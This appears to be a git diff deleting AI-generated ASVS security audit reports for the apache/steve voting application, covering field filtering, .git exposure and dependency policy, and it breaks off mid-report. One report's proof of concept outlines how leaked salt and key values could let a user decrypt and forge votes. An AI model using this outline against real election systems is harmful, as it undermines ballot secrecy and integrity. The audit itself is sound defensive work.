-| Explicit field construction (issues) | `election.py:list_issues()` L217-228 | Returns only `iid, title, description, vtype, kv` | YES |
-| Explicit field extraction (single issue) | `election.py:get_issue()` L161-169 | Returns tuple `(title, description, type, kv)` excluding salt | YES |
-| Explicit field construction (voters) | `election.py:get_voters_for_email()` L459-464 | Returns only `pid, name, email` | YES |
-| Boolean reduction (voted status) | `election.py:has_voted_upon()` L309-334 | Returns only `{iid: bool}`, not underlying tokens/salts | YES |
-| Vote data never returned via HTTP | `pages.py` (all handlers) | No endpoint returns vote_token or ciphertext | YES |
-| Mass assignment prevention | `pages.py` (POST handlers) | Explicit field extraction from forms, hardcoded non-writable fields | YES |
-
-### Coverage Analysis
-
-| Data Return Path | Pages Using Path | Field Filtering Applied |
-|-----------------|-----------------|------------------------|
-| `get_metadata()` → template | `/vote-on/<eid>`, `/manage/<eid>`, `/manage-stv/<eid>/<iid>` | ✅ Python-level explicit construction |
-| `list_issues()` → template | `/vote-on/<eid>`, `/manage/<eid>` | ✅ Python-level explicit construction |
-| `open_to_pid()` → template | `/voter`, `/admin` | ❌ Raw query rows passed through |
-| `upcoming_to_pid()` → template | `/voter` | ❌ Raw query rows passed through |
-| `owned_elections()` → template | `/admin` | ⚠️ Comment claims query filters, no Python enforcement |
-
----
-
-## Critical File Review
-
-### `v3/steve/election.py` — Data Access Layer
-
-| Function | Returns Filtered Data | Sensitive Fields Excluded | Verdict |
-|----------|----------------------|--------------------------|---------|
-| `get_metadata()` L145 | ✅ Explicit edict | ✅ salt, opened_key excluded | PASS |
-| `get_issue()` L161 | ✅ Explicit tuple | ✅ Comment: "NEVER return issue.salt" | PASS |
-| `list_issues()` L217 | ✅ Explicit edict | ✅ Only iid/title/desc/vtype/kv | PASS |
-| `get_voters_for_email()` L459 | ✅ Explicit edict | ✅ Only pid/name/email | PASS |
-| `has_voted_upon()` L309 | ✅ Boolean dict | ✅ No raw crypto data | PASS |
-| `open_to_pid()` L407 | ❌ Raw rows | ❌ No filtering | **FAIL** |
-| `upcoming_to_pid()` L438 | ❌ Raw rows | ❌ No filtering | **FAIL** |
-| `owned_elections()` L420 | ❌ Raw rows | ⚠️ Comment only, no code | **FAIL** |
-| `tally_issue()` L254 | N/A (CLI only) | N/A | N/A |
-
-### `v3/server/pages.py` — Request Handlers
-
-| Endpoint | Data Source | Field Filtering | Verdict |
-|----------|-----------|----------------|---------|
-| `GET /vote-on/<eid>` | `get_metadata()`, `list_issues()` | ✅ Both filtered | PASS |
-| `GET /manage/<eid>` | `get_metadata()`, `list_issues()` | ✅ Both filtered | PASS |
-| `GET /manage-stv/<eid>/<iid>` | `get_metadata()`, `get_issue()` | ✅ Both filtered | PASS |
-| `GET /voter` | `open_to_pid()`, `upcoming_to_pid()` | ❌ Raw rows to template | **FAIL** |
-| `GET /admin` | `open_to_pid()`, `owned_elections()` | ❌ Raw rows to template | **FAIL** |
-| `POST /do-vote/<eid>` | N/A (redirect) | ✅ No data in response | PASS |
-| `POST /do-create-election` | N/A (redirect) | ✅ No data in response | PASS |
-
----
-
-## Findings
-
-### Critical Severity
-
-#### ASVS-1531-CRITICAL-001: Inconsistent Field Filtering — Election List Methods Return Raw Database Rows Without Python-Level Sensitive Field Exclusion
-
-**Severity:** CRITICAL
-**Gap Type:** Type B — Control EXISTS (`get_metadata()`) but NOT CALLED at parallel data return paths
-
-**Location:**
-- **File:** `v3/steve/election.py`
-- **Functions:** `open_to_pid()` (lines 407-412), `upcoming_to_pid()` (lines 438-446), `owned_elections()` (lines 420-436)
-- **Consumed in:** `v3/server/pages.py` lines 155-162, 320-324
-
-**Related Functions Checked:**
-- `get_metadata()` (election.py:145-159) — ✅ Implements proper filtering
-- `postprocess_election()` (pages.py:477-519) — ❌ Does not strip sensitive fields
-- `voter_page()` (pages.py:155-162) — Consumes unfiltered data
-- `admin_page()` (pages.py:320-324) — Consumes unfiltered data
-
-**Description:**
-
-Audit of ASVS 15.3.1 (data minimization in API/data responses) reveals one CRITICAL finding related to inconsistent application of field-level filtering controls for election data objects. The codebase demonstrates awareness of the need to exclude sensitive cryptographic fields through an explicit filtering control in `get_metadata()`, but this control is not applied to three parallel code paths that also return election data to user-facing page templates.
-
-**Control Definition (Where Filtering IS Applied):**
-
-In `election.py`, `get_metadata()` (lines 145-159) explicitly constructs a new object excluding sensitive cryptographic fields:
-
-```python
-def get_metadata(self):
- "Return basic metadata about this Election."
- md = self._all_metadata()
- # NOTE: do not return the SALT or OPENED_KEY <-- Developer awareness
- return edict(
- eid=md.eid,
- title=md.title,
- owner_pid=md.owner_pid,
- authz=md.authz,
- closed=md.closed,
- open_at=md.open_at,
- close_at=md.close_at,
- state=self._compute_state(md),
- )
-```
-
-**Vulnerable Code (Where Filtering is NOT Applied):**
-
-**`open_to_pid()`** (lines 407-412):
-```python
-@classmethod
-def open_to_pid(cls, db_fname, pid):
- "List of elections are OPEN for PID to vote upon."
- db = cls.open_database(db_fname)
- db.q_open_to_me.perform(pid,)
- return [row for row in db.q_open_to_me.fetchall()] # RAW ROWS - no field filtering
-```
-
-**`upcoming_to_pid()`** (lines 438-446):
-```python
-@classmethod
-def upcoming_to_pid(cls, db_fname, pid):
- "List of editable elections for PID to vote upon."
- db = cls.open_database(db_fname)
- db.q_upcoming_to_me.perform(pid,)
- return [row for row in db.q_upcoming_to_me.fetchall()] # RAW ROWS - no field filtering
-```
-
-**`owned_elections()`** (lines 420-436) — has a comment but NO code enforcement:
-```python
-@classmethod
-def owned_elections(cls, db_fname, pid):
- "List of elections are that PID has created."
- db = cls.open_database(db_fname)
- # NOTE: contains subset of columns. We don't want to return the
- # SALT or OPENED_KEY values. <-- COMMENT ONLY, no code enforcement
- db.q_owned.perform(pid,)
- return [row for row in db.q_owned.fetchall()] # RAW ROWS - relies solely on SQL query
-```
-
-**Data Flow:**
-
-```
-Source: SQLite election table (contains salt BLOB(16), opened_key BLOB(32))
- ↓
-Path: open_to_pid() / upcoming_to_pid() / owned_elections()
- → returns raw EasyDict rows from query (NO Python-level field filtering)
- ↓
-Sink: voter_page() (pages.py:155-162) / admin_page() (pages.py:320-324)
- → postprocess_election() (adds fields, NEVER strips sensitive fields)
- → result.open_elections / result.upcoming_elections / result.owned
- → EZT template rendering context
- → HTTP response to authenticated user
- ↓
-Missing: Explicit field construction (as implemented in get_metadata())
-```
-
-**In `voter_page()`** (pages.py lines 155-162):
-```python
-election = steve.election.Election.open_to_pid(DB_FNAME, result.uid) # Raw rows
-owned = steve.election.Election.owned_elections(DB_FNAME, result.uid) # Raw rows
-result.open_elections = [postprocess_election(e) for e in election] # No stripping
-result.upcoming_elections = [
- postprocess_election(e)
- for e in steve.election.Election.upcoming_to_pid(DB_FNAME, result.uid) # Raw rows
-]
-```
-
-**`postprocess_election()`** (pages.py lines 477-519) — processes fields but NEVER removes sensitive ones:
-```python
-def postprocess_election(e):
- # NOTE: side effects. This function manipulates the E argument.
- e.closed = ezt.boolean(e.closed == 1)
- # ... adds formatting fields ...
- # NEVER checks for or removes e.salt or e.opened_key
- return e
-```
-
-**Proof of Concept:**
-
-An attacker who is an authenticated committer navigates to `/voter`:
-
-1. If `q_open_to_me` returns `salt` and `opened_key`, these are in the server-side template context
-2. Any template rendering error, debug mode, or template injection that exposes the context object reveals the cryptographic materials
-3. With `opened_key` and `mayvote.salt` (obtainable if `q_open_to_me` joins mayvote), the attacker can:
- - Compute `vote_token = crypto.gen_vote_token(opened_key, victim_pid, iid, salt)` for any eligible voter
- - Decrypt existing votes: `crypto.decrypt_votestring(vote_token, salt, ciphertext)`
- - Submit forged votes: `crypto.create_vote(vote_token, salt, fake_votestring)`
-
-**Impact:**
-
-If the SQL queries in `queries.yaml` for `q_open_to_me`, `q_upcoming_to_me`, or `q_owned` include `salt` or `opened_key` columns (e.g., via `SELECT *` or `SELECT e.*`), these cryptographic materials flow into the template rendering context for every authenticated user viewing the voter or admin pages:
-
-- **`salt`** (16-byte election-level salt): Used in generating `opened_key`; exposure enables recomputation attacks
-- **`opened_key`** (32-byte derived key): Combined with per-voter `mayvote.salt`, enables generation of `vote_token` values, decryption of encrypted votes, and vote forgery
-
-The `queries.yaml` file is not available for verification, but the absence of Python-level filtering at these code paths creates a single-layer defense that violates defense-in-depth. The codebase's own pattern (`get_metadata()`) demonstrates the developer's recognition that these fields must be excluded — making the omission in parallel paths a Type B gap (control exists but not applied, creating false confidence).
-
-**Remediation:**
-
-Apply the same explicit field construction pattern used in `get_metadata()` to all class methods that return election data:
-
-```python
-@classmethod
-def open_to_pid(cls, db_fname, pid):
- "List of elections that are OPEN for PID to vote upon."
- db = cls.open_database(db_fname)
- db.q_open_to_me.perform(pid,)
- return [cls._safe_election_summary(row) for row in db.q_open_to_me.fetchall()]
-
-@classmethod
-def owned_elections(cls, db_fname, pid):
- "List of elections that PID has created."
- db = cls.open_database(db_fname)
- db.q_owned.perform(pid,)
- return [cls._safe_election_summary(row) for row in db.q_owned.fetchall()]
-
-@classmethod
-def upcoming_to_pid(cls, db_fname, pid):
- "List of editable elections for PID to vote upon."
- db = cls.open_database(db_fname)
- db.q_upcoming_to_me.perform(pid,)
- return [cls._safe_election_summary(row) for row in db.q_upcoming_to_me.fetchall()]
-
-@staticmethod
-def _safe_election_summary(row):
- """Construct a safe election summary, excluding cryptographic fields.
-
- Mirrors the field exclusion pattern in get_metadata().
- NEVER include: salt, opened_key
- """
- result = edict(
- eid=row.eid,
- title=row.title,
- owner_pid=row.owner_pid,
- closed=row.closed,
- open_at=row.open_at,
- close_at=row.close_at,
- )
- # Carry through computed columns if present in the query
- if hasattr(row, 'is_opened'):
- result.is_opened = row.is_opened
- if hasattr(row, 'issue_count'):
- result.issue_count = row.issue_count
- return result
-```
-
----
-
-## Positive Security Patterns
-
-1. **`get_metadata()` — Explicit Field Exclusion** (election.py:145-159): The canonical example of correct field filtering with clear documentation: `# NOTE: do not return the SALT or OPENED_KEY`. Constructs a new edict with only safe fields.
-
-2. **`list_issues()` / `get_issue()` — Selective Field Extraction** (election.py:161-228): Both methods construct new data objects containing only the fields needed for display, never returning raw database rows.
-
-3. **Vote Data Never Exposed via HTTP**: No web endpoint returns `vote_token`, `ciphertext`, or decrypted vote strings. The `tally_issue()` method exists only for CLI tool use.
-
-4. **Mass Assignment Prevention** (pages.py: all POST handlers): Every POST handler extracts specific named fields from form data rather than passing the entire form to model methods. Non-writable fields (e.g., `vtype`, `kv` in `do_edit_issue_endpoint`) are sourced from the existing database record, not from user input.
-
-5. **`has_voted_upon()` — Boolean Reduction** (election.py:309-334): Uses sensitive crypto materials internally but only returns a `{iid: True/False}` dict, properly minimizing the data returned.
-
-6. **Error Message Minimization** (pages.py: `do_vote_endpoint`): Catches exceptions during vote submission, logs the full error server-side, but only returns a generic flash message to the user: `'Error submitting vote for issue {iid}.'`
-
-7. **Schema-Level Data Typing** (schema.sql): `STRICT` table mode enforces column types, preventing type confusion. CHECK constraints enforce BLOB lengths for cryptographic materials.
-
----
-
-## Architecture Observations
-
-1. **Two Distinct Patterns for Data Return**: The codebase uses explicit field construction for single-entity retrieval (`get_metadata`, `get_issue`) but raw query passthrough for list retrieval (`open_to_pid`, `upcoming_to_pid`, `owned_elections`). This inconsistency is the root cause of the finding.
-
-2. **SQL-Level vs. Application-Level Filtering**: The `owned_elections()` comment indicates the developer intended SQL queries to handle column selection. While this can work, it creates a fragile single-layer defense that depends on `queries.yaml` correctness and resists verification at the Python layer.
-
-3. **`postprocess_election()` as a Pass-Through**: This function modifies and adds fields but never strips them, meaning it cannot serve as a defense layer for data minimization. Any sensitive fields in the input survive to the output.
-
-4. **Separation of Web and CLI Concerns**: Vote decryption and tallying are properly isolated to the `tally_issue()` method, which is not called from any web handler. This is a sound architectural decision for data minimization.
-
----
-
-## Recommendations Summary
-
-### Immediate Actions (Critical Priority)
-
-1. **Implement `_safe_election_summary()` static method** and apply it in `open_to_pid()`, `upcoming_to_pid()`, and `owned_elections()` as shown in the remediation code above. This ensures all code paths returning election data to templates use explicit field construction.
-
-### Short-term Actions (Defense-in-Depth)
-
-2. **Add a `postprocess_election()` guard** that explicitly deletes known sensitive fields if they exist:
- ```python
- def postprocess_election(e):
- # Defense-in-depth: strip fields that should never reach templates
- for field in ('salt', 'opened_key'):
- e.pop(field, None)
- # ... existing processing ...
- ```
-
-3. **Audit `queries.yaml`** to confirm that `q_open_to_me`, `q_upcoming_to_me`, and `q_owned` queries do NOT select `salt` or `opened_key` columns. Document the expected column sets in comments alongside each query.
-
-### Long-term Actions (Process Improvement)
-
-4. **Establish a coding standard** that ALL methods returning data objects to callers outside the `Election` class MUST use explicit field construction (allowlist pattern), never raw query passthrough. Add this as a code review checklist item.
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary>Click to expand file list (4 files)</summary>
-
-1. **`v3/schema.sql`** (relevance: 10)
- - Database schema definition
- - Contains table structures for election, issue, mayvote, and vote tables
- - Defines cryptographic field types (BLOB for salt and opened_key)
-
-2. **`v3/server/api.py`** (relevance: 10)
- - API endpoint definitions
- - Not directly involved in the finding but reviewed for completeness
-
-3. **`v3/server/pages.py`** (relevance: 10)
- - Web request handlers
- - Contains `voter_page()` and `admin_page()` endpoints that consume unfiltered data
- - Contains `postprocess_election()` function that does not strip sensitive fields
-
-4. **`v3/steve/election.py`** (relevance: 10)
- - Core election data access layer
- - Contains both compliant (`get_metadata()`) and non-compliant (`open_to_pid()`, `upcoming_to_pid()`, `owned_elections()`) methods
- - Primary location of the identified vulnerability
-
-</details>
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/dependency_configuration/13.4.1.md b/repos/apache/ASVS/reports/steve/d0aa7e9/dependency_configuration/13.4.1.md
deleted file mode 100644
index e1b3736..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/dependency_configuration/13.4.1.md
+++ /dev/null
@@ -1,351 +0,0 @@
-# ASVS 13.4.1 Security Audit Report
-
-## Executive Summary
-
-- **Repository:** apache/steve
-- **Audit Date:** Apr 21, 2026
-- **Auditor:** Tooling Agents
-- **ASVS Requirement:** 13.4.1 — Verify that the application is deployed either without any source control metadata, including the .git or .svn folders, or in a way that these folders are inaccessible both externally and to the application itself.
- - **Level:** 1
- - **Section:** Unintended Information Leakage
- - **Section Description:** Production configurations should be hardened to avoid disclosing unnecessary data. Many of these issues are rarely rated as significant risks but are often chained with other vulnerabilities. If these issues are not present by default, it raises the bar for attacking an application.
-- **Files Analyzed:** 4 relevant out of 4 total, 0 skipped
-
-### Finding Summary
-
-| Severity | Count |
-|----------|-------|
-| Critical | 0 |
-| High | 0 |
-| Medium | 0 |
-| Low | 0 |
-
-**Audit Conclusion:** No critical findings identified. The application contains strong application-level controls preventing source control metadata exposure, but deployment-level configurations were unavailable for complete verification.
-
----
-
-## Security Controls Inventory
-
-| Control | Location | Type | Purpose | Status |
-|---------|----------|------|---------|--------|
-| Static file serving disabled | `main.py` line ~42 | Application-level | Prevents serving arbitrary filesystem content including `.git/` and `.svn/` directories | ✅ **ACTIVE** |
-| Directory listing prevention | `main.py` line ~42 (`static_folder=None`) | Application-level | Eliminates directory traversal through static file handler | ✅ **ACTIVE** |
-| Explicit route registration | `main.py` lines ~45-46 | Application-level | Ensures only defined routes are accessible, no catch-all handlers | ✅ **ACTIVE** |
-| Path containment | `main.py`, `election.py` | Application-level | Uses `pathlib` with resolved parents to prevent traversal | ✅ **ACTIVE** |
-| Deployment `.git` exclusion | Not found | Deployment-level | Would exclude `.git` from build artifacts | ⚠️ **UNVERIFIABLE** |
-| Reverse proxy `.git` blocking | Not found | Infrastructure-level | Would block `.git` access at proxy layer | ⚠️ **UNVERIFIABLE** |
-
----
-
-## Critical File Review
-
-### `v3/server/main.py` — Application Factory
-
-| Line | Function/Code | Security Relevance | Review Status |
-|------|---------------|-------------------|---------------|
-| ~42 | `app = asfquart.construct('steve', app_dir=THIS_DIR, static_folder=None)` | **Key control**: Disables static file serving entirely, preventing access to `.git/` or `.svn/` through application | ✅ Verified secure |
-| ~45-46 | `import pages; import api` | Only explicitly defined routes are served, no catch-all handlers | ✅ Verified secure |
-| ~31 | Config comment: `"a proxy sits in front of this server"` | Indicates reverse proxy in production architecture | ⚠️ Proxy config not provided |
-| ~38-40 | `THIS_DIR = pathlib.Path(__file__).resolve().parent` | Path resolution uses safe pathlib operations | ✅ Verified secure |
-
-### `v3/server/config.yaml.example` — Configuration Template
-
-| Line | Setting | Security Relevance | Review Status |
-|------|---------|-------------------|---------------|
-| ~27 | `port: 58383` | Non-standard port implies reverse proxy fronting | ℹ️ Architecture indicator |
-| ~30-33 | `certfile`/`keyfile` | TLS configuration present for secure transport | ✅ Verified present |
-| ~36 | `db: steve.db` | Database path configuration, no `.git` references | ✅ Verified safe |
-
-### `v3/steve/election.py` — Core Application Logic
-
-| Line | Function/Code | Security Relevance | Review Status |
-|------|---------------|-------------------|---------------|
-| Various | `THIS_DIR = pathlib.Path(__file__).resolve().parent` | Path constructions use resolved parents with direct child joins | ✅ Verified secure |
-| Various | `QUERIES = THIS_DIR.parent / 'queries.yaml'` | No user-controlled path components that could traverse to `.git` | ✅ Verified secure |
-
-### `v3/steve/crypto.py` — Cryptographic Operations
-
-| Line | Function/Code | Security Relevance | Review Status |
-|------|---------------|-------------------|---------------|
-| Various | Cryptographic functions | No file serving or path traversal functionality | ✅ Verified not applicable |
-
----
-
-## Findings
-
-**No findings identified.** The application demonstrates strong security controls at the application level that prevent source control metadata exposure through the application itself.
-
----
-
-## Positive Security Patterns
-
-### 1. Static File Serving Explicitly Disabled
-
-**Location:** `v3/server/main.py`, line ~42
-
-```python
-app = asfquart.construct('steve', app_dir=THIS_DIR, static_folder=None)
-```
-
-**Analysis:** Setting `static_folder=None` in the Quart (async Flask) framework completely disables the built-in static file handler. This provides strong protection because:
-
-- No files from the filesystem (including `.git/`, `.svn/`) can be served through the application's static file mechanism
-- Requests to `/.git/config`, `/.git/HEAD`, etc. will **not** be resolved by the application to filesystem paths
-- Only routes explicitly defined in the `pages` and `api` modules will respond
-- This is a **strong application-level control** against ASVS 13.4.1 violations through the application itself
-
-**Impact:** Eliminates the primary application-level attack vector for accessing source control metadata.
-
----
-
-### 2. No Catch-All or File-Serving Routes
-
-**Location:** `v3/server/main.py`, lines ~45-46
-
-```python
-import pages
-import api
-```
-
-**Analysis:** The application architecture imports `pages` and `api` modules to register explicit routes. Code review confirms absence of:
-
-- Catch-all route handlers (e.g., `@app.route('/<path:path>')`)
-- `send_from_directory()` or `send_file()` usage
-- Custom static file serving logic
-- Directory traversal-capable endpoints
-
-**Impact:** Ensures only intentionally exposed endpoints are accessible, preventing inadvertent file system exposure.
-
----
-
-### 3. Safe Path Construction with `pathlib`
-
-**Location:** `v3/server/main.py`, `v3/steve/election.py`
-
-```python
-# main.py
-THIS_DIR = pathlib.Path(__file__).resolve().parent
-CERTS_DIR = THIS_DIR / 'certs'
-
-# election.py
-THIS_DIR = pathlib.Path(__file__).resolve().parent
-QUERIES = THIS_DIR.parent / 'queries.yaml'
-```
-
-**Analysis:** All path constructions use `pathlib` with:
-
-- `.resolve()` to normalize paths and resolve symlinks
-- Parent directory anchoring
-- Direct child joins without user-controlled components
-- No string concatenation or user input in path construction
-
-**Impact:** Prevents path traversal attacks that could be used to access `.git/` directories.
-
----
-
-### 4. Defense-in-Depth Architecture Awareness
-
-**Location:** `v3/server/config.yaml.example`, line ~31
-
-```yaml
-# Comment: "a proxy sits in front of this server"
-```
-
-**Analysis:** Configuration comments indicate awareness of proper production deployment architecture with reverse proxy fronting the application server. This demonstrates:
-
-- Understanding of layered security approach
-- Separation of application and infrastructure concerns
-- Intent to implement infrastructure-level protections
-
-**Impact:** While proxy configuration was not provided for audit, the architecture demonstrates security-conscious design.
-
----
-
-## Architecture Observations
-
-### 1. Defense-in-Depth Opportunity
-
-The application implements strong application-level controls, but ASVS 13.4.1 benefits from defense-in-depth. The ideal configuration includes:
-
-- **Application level:** `static_folder=None` ✅ (present and verified)
-- **Deployment level:** `.dockerignore` or equivalent excluding `.git` ⚠️ (not provided for verification)
-- **Infrastructure level:** Reverse proxy denying `/.git` requests ⚠️ (not provided for verification)
-
-**Current State:** Application layer is properly hardened. Deployment and infrastructure layers could not be verified due to missing configuration files.
-
----
-
-### 2. Reverse Proxy Architecture
-
-The comment in `config.yaml.example` ("a proxy sits in front of this server") combined with the non-standard port (58383) indicates a reverse proxy architecture.
-
-**Security Implications:**
-- If the proxy serves static content directly from the filesystem, `.git` could be exposed at the infrastructure layer outside the application's control
-- Proper proxy configuration is critical to complete ASVS 13.4.1 compliance
-- The application cannot protect against misconfigured infrastructure
-
-**Recommendation:** Verify reverse proxy configuration includes explicit `.git` and `.svn` blocking rules.
-
----
-
-### 3. No Debug Mode or Development Tool Exposure
-
-**Observation:** The application code contains no:
-- Debug endpoints that could leak filesystem information
-- Development tools or consoles accessible in production
-- Error handlers that expose file paths
-- Administrative interfaces that allow file system browsing
-
-**Impact:** Reduces risk of indirect information leakage about repository structure.
-
----
-
-### 4. Deployment Configuration Gap
-
-**What Was Provided:**
-- Application code (`main.py`, `crypto.py`, `election.py`)
-- Example configuration (`config.yaml.example`)
-
-**What Was NOT Provided:**
-
-| Missing Artifact | Purpose for ASVS 13.4.1 | Verification Impact |
-|-----------------|------------------------|---------------------|
-| `Dockerfile` / `.dockerignore` | Would confirm `.git` excluded from container image | Cannot verify deployment exclusion |
-| CI/CD pipeline configuration | Would confirm build process strips `.git` | Cannot verify build process |
-| Reverse proxy config (nginx/Apache/Caddy) | Would confirm `.git` blocked at proxy level | Cannot verify infrastructure protection |
-| Deployment scripts | Would confirm `.git` not copied to production | Cannot verify deployment process |
-
-**Risk Assessment:** While the absence of deployment configurations prevents full ASVS 13.4.1 verification, this does **not** constitute a critical application-level vulnerability because:
-
-1. The application cannot serve `.git` content due to `static_folder=None`
-2. No application routes exist that could be exploited to read `.git` content
-3. This is primarily a deployment/infrastructure concern, not an application code vulnerability
-4. The provided application code demonstrates proper security controls
-
----
-
-## Recommendations Summary
-
-### Immediate Actions (Priority: HIGH)
-
-**1. Provide Deployment Configuration for Complete Audit**
-
-To fully verify ASVS 13.4.1 compliance, include in audit scope:
-
-- Dockerfile and `.dockerignore` (or equivalent build artifacts)
-- Reverse proxy configuration (nginx/Apache/Caddy)
-- CI/CD pipeline configuration
-- Deployment automation scripts
-
-**Rationale:** Complete ASVS 13.4.1 verification requires examining all layers where source control metadata could be exposed.
-
----
-
-### Short-term Actions (Priority: MEDIUM)
-
-**2. Add `.dockerignore` with Source Control Exclusions**
-
-Create or update `.dockerignore`:
-
-```dockerfile
-# .dockerignore
-.git
-.svn
-.gitignore
-.gitattributes
-*.md
-README*
-CONTRIBUTING*
-LICENSE*
-```
-
-**Rationale:** Ensures `.git` and `.svn` directories are never included in container images during build process.
-
----
-
-**3. Implement Reverse Proxy Source Control Blocking**
-
-Add to nginx configuration:
-
-```nginx
-# Block access to source control metadata
-location ~ /\.(git|svn) {
- deny all;
- return 404;
-}
-```
-
-Or for Apache:
-
-```apache
-# Block access to source control metadata
-<DirectoryMatch "^/.*/\.(git|svn)/">
- Require all denied
-</DirectoryMatch>
-```
-
-**Rationale:** Provides infrastructure-level protection independent of application configuration.
-
----
-
-### Long-term Actions (Priority: LOW)
-
-**4. Document Layered Protection Strategy**
-
-Create deployment documentation confirming `.git` exclusion is enforced at:
-
-- **Build stage:** `.dockerignore` or equivalent prevents inclusion in artifacts
-- **Infrastructure stage:** Reverse proxy rules block access attempts
-- **Application stage:** `static_folder=None` prevents application-level serving (already implemented)
-
-**Rationale:** Ensures security controls are understood and maintained across team changes and deployments.
-
----
-
-**5. Add Automated Security Verification**
-
-Implement CI/CD checks:
-
-```bash
-# Example CI/CD security check
-if docker run --rm <image> ls -la / | grep -E '\.(git|svn)'; then
- echo "ERROR: Source control metadata found in image"
- exit 1
-fi
-```
-
-**Rationale:** Prevents accidental inclusion of source control metadata through automated verification.
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary>Click to expand file list (4 files)</summary>
-
-### Files Analyzed with Relevance Scores
-
-1. **`v3/server/config.yaml.example`** (relevance: 10)
- - Configuration template
- - Contains deployment architecture hints
- - Reviewed for source control references
-
-2. **`v3/server/main.py`** (relevance: 10)
- - Application factory and initialization
- - **Key security control location:** `static_folder=None`
- - Route registration and application configuration
-
-3. **`v3/steve/crypto.py`** (relevance: 10)
- - Cryptographic operations
- - Reviewed for file serving functionality (none found)
-
-4. **`v3/steve/election.py`** (relevance: 10)
- - Core application logic
- - Path construction patterns reviewed
- - No file serving or traversal vulnerabilities identified
-
-</details>
-
----
-
-**End of Report**
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/dependency_configuration/15.1.1.md b/repos/apache/ASVS/reports/steve/d0aa7e9/dependency_configuration/15.1.1.md
deleted file mode 100644
index e3589be..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/dependency_configuration/15.1.1.md
+++ /dev/null
@@ -1,270 +0,0 @@
-# ASVS 15.1.1 Security Audit Report
-
-## Executive Summary
-
-- **Repository:** apache/steve
-- **Audit Date:** Apr 21, 2026
-- **Auditor:** Tooling Agents
-- **ASVS Requirement:** 15.1.1 — Verify that application documentation defines risk based remediation time frames for 3rd party component versions with vulnerabilities and for updating libraries in general, to minimize the risk from these components.
-- **Level:** 1
-- **Section:** Secure Coding and Architecture Documentation
-- **Files analyzed:** 4 relevant out of 4 total, 0 skipped
-
-### Finding Summary
-
-| Severity | Count |
-|----------|-------|
-| Critical | 1 |
-| High | 0 |
-| Medium | 0 |
-| Low | 0 |
-| **Total** | **1** |
-
-### Key Findings
-
-The audit reveals a **complete absence** of documented risk-based remediation timeframes for third-party component vulnerabilities. The application relies on security-critical cryptographic libraries (`argon2-cffi`, `cryptography`) that constitute "dangerous functionality" (encryption/decryption of votes), yet no documentation exists to govern how vulnerabilities in these dependencies would be triaged and remediated.
-
----
-
-## Security Controls Inventory
-
-| Control Area | Expected Artifact | Found | Location |
-|---|---|---|---|
-| Software Bill of Materials (SBOM) | Dependency manifest with versions | **NO** | Not in any provided file |
-| Vulnerability Remediation Policy | Document with risk-based timeframes | **NO** | Not in any provided file |
-| Dependency Update Schedule | Documented cadence for library updates | **NO** | Not in any provided file |
-| Component Risk Classification | Documentation of "dangerous" / "risky" components | **NO** | Not in any provided file |
-| Known Vulnerability Tracking | Process for monitoring CVEs in dependencies | **NO** | Not in any provided file |
-
-### Third-Party Dependencies Identified in Codebase
-
-| Dependency | Usage Location | Risk Classification | Documented? |
-|---|---|---|---|
-| `argon2-cffi` (argon2.low_level) | `crypto.py:85-94` | **Dangerous Functionality** – Key derivation for vote encryption | NO |
-| `cryptography` (Fernet, HKDF) | `crypto.py:58-82` | **Dangerous Functionality** – Vote encryption/decryption | NO |
-| `asfquart` (Quart wrapper) | `main.py:36` | Web framework – attack surface | NO |
-| `asfpy.db` | `election.py:27` | Database access layer | NO |
-| `easydict` | `election.py:28` | Data structure utility | NO |
-| EZT | Referenced in domain context | Templating engine | NO |
-
----
-
-## Critical File Review
-
-| File | Risk Level | Dangerous Functionality | Third-Party Dependencies | Documentation |
-|---|---|---|---|---|
-| `v3/steve/crypto.py` | **CRITICAL** | Encryption, Decryption, Key Derivation | `argon2-cffi`, `cryptography` | **None** |
-| `v3/steve/election.py` | HIGH | Orchestrates crypto operations | `asfpy.db`, `easydict` | **None** |
-| `v3/server/main.py` | MEDIUM | Application bootstrap, TLS config | `asfquart` | **None** |
-| `v3/server/config.yaml.example` | LOW | Configuration template | N/A | Inline comments only |
-
----
-
-## Findings
-
-### Critical Severity
-
-#### ASVS-1511-CRITICAL-001: No Documented Risk-Based Remediation Timeframes for Security-Critical Cryptographic Dependencies
-
-**Severity:** CRITICAL
-
-**Gap Type:** Type A — Complete absence of control for security-critical components explicitly identified as "dangerous functionality"
-
-**Location:**
-- **Files:** `v3/steve/crypto.py`, `v3/steve/election.py`
-- **Functions:** `_hash()` (crypto.py:85-94), `create_vote()` (crypto.py:71-76), `decrypt_votestring()` (crypto.py:78-82), `gen_opened_key()`, `gen_vote_token()`
-- **Lines:** crypto.py:85-94, crypto.py:71-76, crypto.py:78-82, election.py:283-287, election.py:320-333
-
-**Related Functions Checked:**
-- `crypto._hash()` — Argon2 key derivation
-- `crypto.create_vote()` — Fernet vote encryption
-- `crypto.decrypt_votestring()` — Fernet vote decryption
-- `crypto.gen_opened_key()` — Election key generation
-- `crypto.gen_vote_token()` — Vote token generation
-- `election.is_tampered()` — Integrity verification
-
-**Description:**
-
-The application's entire vote secrecy guarantee depends on two third-party cryptographic libraries (`argon2-cffi` and `cryptography`), both used extensively in `crypto.py` — a module explicitly identified as containing "dangerous functionality" (encryption/decryption). No documentation exists anywhere in the provided codebase that defines:
-
-1. Risk-based remediation timeframes (e.g., Critical CVE → 24h, High → 7d, Medium → 30d)
-2. A general schedule for updating libraries
-3. An SBOM enumerating component versions
-4. A classification of which components are "dangerous" or "risky"
-
-**Vulnerable Code:**
-
-```python
-# crypto.py:85-94 — Argon2 key derivation (vote key material)
-import argon2.low_level
-# ...
-return argon2.low_level.hash_secret_raw(
- secret=data,
- salt=salt,
- time_cost=2,
- memory_cost=65536,
- parallelism=4,
- hash_len=32,
- type=argon2.low_level.Type.D,
-)
-```
-
-```python
-# crypto.py:71-76 — Fernet vote encryption
-import cryptography.fernet
-# ...
-def create_vote(vote_token: bytes, salt: bytes, votestring: str) -> bytes:
- b64key = _b64_vote_key(vote_token, salt)
- f = cryptography.fernet.Fernet(b64key)
- return f.encrypt(votestring.encode())
-```
-
-```python
-# crypto.py:78-82 — Fernet vote decryption (used during tally)
